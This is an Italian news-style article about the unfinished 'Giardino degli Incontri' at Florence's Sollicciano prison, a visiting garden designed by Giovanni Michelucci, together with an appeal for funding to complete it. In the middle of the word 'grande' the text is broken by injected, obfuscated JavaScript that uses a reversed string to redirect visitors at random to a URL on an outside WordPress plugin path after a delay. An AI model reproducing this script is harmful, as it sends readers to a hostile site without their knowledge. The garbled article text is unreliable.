Un giardino per il carcere

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L’associazionismo, il volontariato e il Quartiere 4 del Comune di Firenze sono impegnati da tempo per abbattere le barriere fra il territorio e il carcere di Sollicciano. Le mura invisibili – quelle legate alle condizioni igienico-sanitarie, alle difficoltà di reinserimento sociale, all’assenza di comunicazione umana e affettiva – sono spesso assai più pesanti e impenetrabili di quelle perimetrali in cemento armato.
Una delle chiavi per aprire un circuito di comunicazione positiva fra carcere e territorio risiede nel progetto del ‘Giardino degli Incontri’, un luogo di incontro e di affettività che l’architetto Giovanni Michelucci aveva ideato poco prima della morte. Al posto della tradizionale ‘sala-colloqui’ Michelucci aveva immaginato uno spazio conviviale dove i detenuti avrebbero incontrato i loro congiunti in un’atmosfera da giardino urbano. Si tratta di un’opera di gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande pregio, caratterizzata da un ampio spazio interno (scandito da architetture che alludono a un giardino) e da una porzione all’aperto, con un giardino vero e proprio, un ruscello e un teatro. I lavori sono da mesi completati al 95% e potrebbero concludersi entro pochi mesi se fossero disponibili 400.000 euro per completare il giardino esterno, gli impianti di riscaldamento e condizionamento nonché le attrezzature di video sorveglianza richieste dalle nuove normative penitenziarie.
Il progetto del Giardino degli Incontri a Sollicciano non ha solo un rilevante valore artistico ma anche una grande importanza dal punto di vista sociale, essendo stato pensato per avvicinare la ‘città dei ristretti’ e la ‘città dei liberi’: sarebbe dunque imperdonabile non completare i lavori e lasciare il cantiere abbandonato a se stesso. Il procrastinarsi del blocco del cantiere potrebbe significare un rinvio sine die del completamento del progetto, con pesanti ricadute per la socialità dei detenuti e delle detenute e per il degrado della struttura. Per questo si pone con urgenza l’impegno degli Enti Locali affinché il Ministero della Giustizia e il Ministero dei Lavori Pubblici reperiscano le risorse necessarie. Il Giardino degli Incontri insieme al Polo Universitario, quest’ultimo in fase di studio, potrebbero favorire una svolta dello stesso carcere, oggi afflitto da gravi problemi di sovraffollamento e di igienicità degli ambienti.

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